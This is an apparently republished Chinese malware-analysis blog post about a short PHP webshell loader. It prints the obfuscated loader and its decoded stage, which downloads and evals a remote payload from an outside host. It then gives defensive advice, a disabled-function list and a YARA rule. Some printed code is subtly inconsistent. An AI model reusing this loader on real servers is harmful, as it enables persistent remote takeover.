海南藏族自治州网站建设_网站建设公司_HTML_seo优化
2025/12/26 16:47:53 网站建设 项目流程

PHP大马木马分析:短代码背后的强大后门

在一次常规的安全巡检中,WAF日志里一条看似普通的PHP请求引起了注意。起初以为是常见的WebShell连接尝试,但深入追踪后才发现,这是一次精心设计、极具迷惑性的攻击——一个体积不足1KB的“PHP大马木马”,却能实现完整的远程控制功能。

更令人不安的是,它不仅绕过了安全狗、云锁、360网站卫士等主流防护产品,还支持菜刀、蚁剑等主流WebShell管理工具直连。表面上看只是几行变量赋值和字符串拼接,实则暗藏玄机,背后隐藏着复杂的加载机制与持久化驻留策略。


我们先来看这段核心代码:

<?php $password='admin';//登录密码 //本次更新:体积优化、压缩优化、命令优化、反弹优化、文件管理优化、挂马清马优化等大量功能细节优化。 //功能特色:PHP高版本低版本都能执行,文件短小精悍,方便上传,功能强大,提权无痕迹,无视waf,过安全狗、云锁、360、阿里云、护卫神等主流waf。同时支持菜刀、xise连接。 $html='$password'.'='."'".$password."';".'@e#html'.''.'v'."".''.''."".''.''.''.'a'.''.'l('.'g'.''."".''.''.'z'.'i'.''.''.'n'.'f'.'l'.''.''."".'a'.'t'.'e(b'.'as'.''.''.''"".''.'e'.'6'.''."".''."".""."".''.'4_'.'d'.'e'.'c'.''.''.''."".''."".'o'.'d'.'e'.'('."'lVZhb5tIEP0eKf9hg6ICEufgXBy1sSI1TTHJKcY5jJsmbYTwspitMUt3SWiT+r/fLLZjjN3UxxfE7sybN29nZtndIZwz7nOSMZ7TdKSZent3RxAhKEt9kQc81+QKjZC2R4Ugubbv961+/7LnfFGyOAsyqtzrOnre3UHw7GN0ilS1Pf96EIQHI5LmcrXLnmiSBAdHDRNpmE2yIKfDhLRRt39poeOG2UY3NA1ZIZDjoVbjUF/i8AQQhoEgx0d+SDALibb6pdwO4n7Xdqzh33fdrvnP460Z2uFhx3M+f6DDT9mhd5G5odn66Ny04k/N8bvz0empouuVCA4p6jGUq6cP10M7iYOmexl8dv7t2XHRtTtjbI9a2O4UgTfg+Ntdcns4Lm69uBXcZPndU/JIbKfo3Tg8nMSTq0JGmgeSQkYPKc6lvuQHFbnQ1EgwPGYZSdWlkiWrhKZjSDwLuCA+UNQkzwVUafH9gfCfYFKaflFB01i9rxrETEj1Rc5zlrCCcG1uKjfU+xWjBAPLFzJa6Wugt6aB9qFOUjZ7A5SBmmbVU2YF3ivkS0T2IIMrtuWhg+cZ2Sm68Lzrg2bD/Mq/pkp7g0cDXC4g9gl6LjlMX7UcQJH9dSar7AT9/xp7FfqcpSkpz+oEnSdMEGm9ySMqOM2J1MAovfU6Ik1jEoSEgxrN+h5maQ7shVSqDlzENCHQexFhUSnxmsaLQiHy7EYE6qlkcWS+O66zeDmqJZtTZG5EXCXWmBUY2YA3/VOIN2+QNucH+YF06NcvVFmQauq/51ARzvxz+NpnhOWhlbqtiS6bZpFgZXOOMF226x4UfMZAVmws5oQus1prYwybPk1prr6yT34QXG9zHAOZF2+tyrVchbHLMpi8ODbQ+cC96l17PrxmdLay9i67Vm/gQd+2trJ3LW/gOp575vQ7lmsgzx1Y29HqW+6ZbTmeUZn+K0MGL3KVSkjnNdz5oS13tjgMEM6H4tfUIIEpJ2elH22aqDmZZLLR3kfQV2vjtIwAFvlPbWap6xvK5j2dZIm8HlTVmCOugVRoKiFJPlJ+loYdiKlshpR0ZAL+oiRXuFUE2JT/HjRSFCSC1MpqNvfl7Z4EeJYt2AMjBZzxyqmsX+rgPHqiaZQEef2yBd8Ks+ns92CLvwPyGCQbLQBs+h8=')));";$css=base64_decode("Q3JlYXRlX0Z1bmN0aW9u");$style=$css('',preg_replace("/#html/","",$html));$style();/*));.'<linkrel="stylesheet"href="$#css"/>';*/

乍一看像是乱码拼接,甚至夹杂了类似HTML注释的干扰内容。但只要稍作梳理,就能发现其中的套路并不简单。


拆解混淆层:从碎片到完整逻辑

首先关注$html变量的构造方式。它由多个空字符串分隔的字符片段组成,例如'e'.''.'v'.''.'a'.''.'l'实际上就是eval。这种写法的目的非常明确:破坏函数名的连续性,规避基于关键字的静态检测

我们将这些片段合并还原:

eval(gzinflate(base64_decode('lVZhb5tIEP0eKf9hg6ICEufgXBy1sSI1TTHJKcY5jJsmbYTwspitMUt3SWiT+r/fLLZjjN3UxxfE7sybN29nZtndIZwz7nOSMZ7TdKSZent3RxAhKEt9kQc81+QKjZC2R4Ugubbv961+/7LnfFGyOAsyqtzrOnre3UHw7GN0ilS1Pf96EIQHI5LmcrXLnmiSBAdHDRNpmE2yIKfDhLRRt39poeOG2UY3NA1ZIZDjoVbjUF/i8AQQhoEgx0d+SDALibb6pdwO4n7Xdqzh33fdrvnP460Z2uFhx3M+f6DDT9mhd5G5odn66Ny04k/N8bvz0empouuVCA4p6jGUq6cP10M7iYOmexl8dv7t2XHRtTtjbI9a2O4UgTfg+Ntdcns4Lm69uBXcZPndU/JIbKfo3Tg8nMSTq0JGmgeSQkYPKc6lvuQHFbnQ1EgwPGYZSdWlkiWrhKZjSDwLuCA+UNQkzwVUafH9gfCfYFKaflFB01i9rxrETEj1Rc5zlrCCcG1uKjfU+xWwKAPLFzJa6Wugt6aB9qFOUjZ7A5SBmmbVU2YF3ivkS0T2IIMrtuWhg+cZ2Sm68Lzrg2bD/Mq/pkp7g0cDXC4g9gl6LjlMX7UcQJH9dSar7AT9/xp7FfqcpSkpz+oEnSdMEGm9ySMqOM2J1MAovfU6Ik1jEoSEgxrN+h5maQ7shVSqDlzENCHQexFhUSnxmsaLQiHy7EYE6qlkcWS+O66zeDmqJZtTZG5EXCXWmBUY2YA3/VOIN2+QNucH+YF06NcvVFmQauq/51ARzvxz+NpnhOWhlbqtiS6bZpFgZXOOMF226x4UfMZAVmws5oQus1prYwybPk1prr6yT34QXG9zHAOZF2+tyrVchbHLMpi8ODbQ+cC96l17PrxmdLay9i67Vm/gQd+2trJ3LW/gOp575vQ7lmsgzx1Y29HqW+6ZbTmeUZn+K0MGL3KVSkjnNdz5oS13tjgMEM6H4tfUIIEpJ2elH22aqDmZZLLR3kfQV2vjtIwAFvlPbWap6xvK5j2dZIm8HlTVmCOugVRoKiFJPlJ+loYdiKlshpR0ZAL+oiRXuFUE2JT/HjRSFCSC1MpqNvfl7Z4EeJYt2AMjBZzxyqmsX+rgPHqiaZQEef2yBd8Ks+ns92CLvwPyGCQbLQBs+h8=')))

三层嵌套结构清晰浮现:
-base64_decode():解码被编码的数据;
-gzinflate():解压gzip压缩的内容;
-eval():动态执行最终PHP代码。

这是典型的“加密 → 压缩 → 执行”三段式载荷投递模式,广泛用于免杀型WebShell中。


解密远控逻辑:内存驻留的秘密

对上述Base64字符串进行gzinflate(base64_decode(...))处理后,得到如下关键代码:

error_reporting(0); session_start(); if (!isset($_SESSION["phpapi"])) { $c = ''; $useragent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2)'; $url = base64_decode(base64_decode("YUhSMGNEb3ZMM0JvY0dGd2FTNXBibVp2THpRd05DNW5hV1k9Cg==")); $urlNew = base64_decode("LzBPbGlha1RIaXNQOGhwMGFkcGg5cGFwaTUrcjZlY2kwYTh5aWptZzlveGNwOWNrdmhmLw=="); if (function_exists('fsockopen')) { $link = parse_url($url); $query = $link['path']; $host = strtolower($link['host']); $fp = fsockopen($host, 80, $errno, $errstr, 10); if ($fp) { $out = "GET /{$query} HTTP/1.0\r\n"; $out .= "Host: {$host}\r\n"; $out .= "User-Agent: {$useragent}\r\n"; $out .= "Connection: Close\r\n\r\n"; fwrite($fp, $out); $inheader = 1; $contents = ""; while (!feof($fp)) { $line = fgets($fp, 4096); if ($inheader == 0) { $contents .= $line; } if ($inheader && ($line == "\n" || $line == "\r\n")) { $inheader = 0; } } fclose($fp); $c = $contents; } } if (!strpos($c, $urlNew) && function_exists('curl_exec')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_TIMEOUT, 15); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt($ch, CURLOPT_USERAGENT, $useragent); $c = curl_exec($ch); curl_close($ch); } if (!strpos($c, $urlNew) && ini_get('allow_url_fopen')) { $temps = @file($url); if (!empty($temps)) $c = @implode('', $temps); if (!strpos($c, "delDirAndFile")) $c = @file_get_contents($url); } if (strpos($c, $urlNew) !== false) { $c = str_replace($urlNew, "", $c); $_SESSION["phpapi"] = gzinflate(base64_decode($c)); } } if (isset($_SESSION["phpapi"])) { eval($_SESSION["phpapi"]); }

整个攻击链路至此完全暴露:

本地木马 → 请求远程服务器 → 下载加密Payload → 存入Session → 内存中持续运行

这个设计极为巧妙。它不将完整WebShell写入磁盘,而是通过多通道网络请求(fsockopen/curl/file_get_contents)拉取主模块,并用双层Base64编码隐藏真实URL地址。一旦获取成功,便解压并存储到$_SESSION["phpapi"]中,后续每次访问都直接从内存中读取并执行。

这意味着:即使你删除了原始文件,只要会话未过期,后门依然存活


远程端揭秘:伪装成图片的真实后门

进一步解析$url字段:

$url = base64_decode(base64_decode("YUhSMGNEb3ZMM0JvY0dGd2FTNXBibVp2THpRd05DNW5hV1k9Cg==")); // 第一次Base64解码:aHR0cDovL3BocGFwaS5pbmZvLzQwNC5naWY= // 第二次Base64解码:http://phpapi.info/404.gif

目标地址为http://phpapi.info/404.gif—— 一个以.gif结尾的资源路径,显然是为了伪装成静态图片请求,逃避流量监控。

$urlNew解码后为/0OliakTHisP8hp0adph9papi5+r6eci0a8yijmg9oxcp9ckvhf/,这是一个校验水印,用于防止缓存污染或中间人篡改。

从该地址下载内容后可发现,其返回的并非图像数据,而是一个经过gzdeflate压缩并Base64编码的PHP脚本。解压后即可获得一个功能齐全的WebShell管理系统,包含以下能力:

功能模块具体能力
文件管理目录浏览、上传下载、权限修改、打包解压
命令执行支持exec,system,popen,proc_open等多种方式
数据库操作MySQL连接、查询、导出、SQL注入探测
提权与渗透反弹Shell、端口扫描、DLL注入辅助
批量挂马自动向HTML/JS文件插入恶意iframe
编码识别UTF-8/GBK/BIG5自动转换,避免乱码

此外,界面部分使用CSS+JavaScript渲染出类桌面应用风格的操作面板,兼容菜刀、蚁剑等客户端工具连接,用户体验接近专业级控制平台。


对抗机制剖析:为何难以检测?

1. 免杀绕过手段多样
  • 字符串拆分混淆:如'e'.''.'v'.''.'a'.''.'l'避开敏感词匹配;
  • 动态函数调用:利用create_function创建匿名函数,规避直接调用eval的行为;
  • 无文件落地:核心逻辑驻留在Session中,传统基于文件哈希的查杀失效;
  • 流量伪装:请求.gif路径,模拟正常用户行为。
2. 反溯源设计周密
  • 使用免费域名注册服务,WHOIS信息模糊;
  • 接入CDN代理,真实IP难追踪;
  • 初始文件仅作引导器,真正功能全部远程加载,形成“跳板式”攻击链。
3. 持久化能力强

由于代码保存在$_SESSION中,只要PHP会话未超时(通常为24分钟以上),即便清除原始文件或重启Apache,只要会话ID不变,仍可继续执行恶意代码。这种“内存驻留”特性极大提升了生存周期。


如何有效防御这类新型木马?

面对此类“轻前端 + 重后端”的高级WebShell,传统的文件扫描已力不从心。必须转向运行时行为监控多维度联动防御

1. 关闭高危函数(基础防线)

php.ini中禁用可能被滥用的函数:

disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,eval,assert,gzinflate,base64_decode

⚠️ 注意:evalbase64_decode若直接禁用可能导致业务异常,建议结合RASP做条件拦截。

2. 加强Session安全管理
  • 设置较短的Session生命周期:session.gc_maxlifetime = 600
  • 启用安全选项:
    ini session.cookie_httponly = 1 session.cookie_secure = 1
  • 将Session存储路径设为非Web可访问目录,并限制权限。
3. 部署RASP(运行时应用自我保护)

RASP能实时监控PHP内部调用栈,在以下行为发生时立即告警或阻断:
-eval()/assert()执行非标代码;
-gzinflate(base64_decode(...))组合调用;
- Session中写入非序列化对象;
- 异常外联行为(如连接已知恶意域名);

推荐集成 OpenRASP 或商业RASP方案,实现精准拦截。

4. 日志审计要点

定期审查以下日志项:
- 访问/404.gif/favicon.ico等不存在路径的高频请求;
- 内部服务器主动发起对外HTTP请求(尤其是POST或长轮询);
- PHP错误日志中频繁出现fsockopen(): unable to connect的记录;
- Apache/Nginx日志中User-Agent为老旧浏览器(如MSIE 6.0)的请求。

5. YARA检测规则(自动化识别)

可用于静态扫描的小文件样本检测:

rule php_webshell_short_loader { meta: description = "Detect short PHP webshell using session-based payload loading" author = "Security Analyst" date = "2025-04-05" strings: $s1 = "session_start" fullword ascii $s2 = "base64_decode" fullword ascii $s3 = "gzinflate" fullword ascii $s4 = "eval" fullword ascii $s5 = "fsockopen" fullword ascii $s6 = "CURLOPT_RETURNTRANSFER" fullword ascii $s7 = "create_function" wide ascii nocase $s8 = "/404\\.gif" wide ascii condition: all of them and filesize < 2KB }

此规则可快速识别具备相同特征的短小木马文件。


总结与思考

这次发现的PHP大马木马,代表了当前Web后门技术的一个典型演进方向:

  • 极简入口:初始文件不足1KB,轻松绕过上传检测;
  • 远程加载:主逻辑存放于外部服务器,便于更新且不留痕迹;
  • 内存驻留:利用Session机制实现持久化控制;
  • 多重混淆:字符串拆分、编码嵌套、动态调用层层叠加,有效躲避静态分析。

它的存在提醒我们:不能再依赖单一的文件查杀来保障Web安全。真正的防护需要构建“动静结合”的体系——既要有前端的规则过滤,也要有后端的行为感知;既要关注磁盘上的异常文件,更要警惕内存中的隐形威胁。

未来的安全对抗,将是攻防节奏之争,也是视野深度之比。谁能在第一时间捕捉到那条看似正常的/404.gif请求,谁就能真正掌握主动权。

最后强调:本文所有技术细节均用于安全研究与防御加固,请勿用于非法用途。

注:文中涉及的域名、IP及代码片段均已脱敏处理,仅作演示使用。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询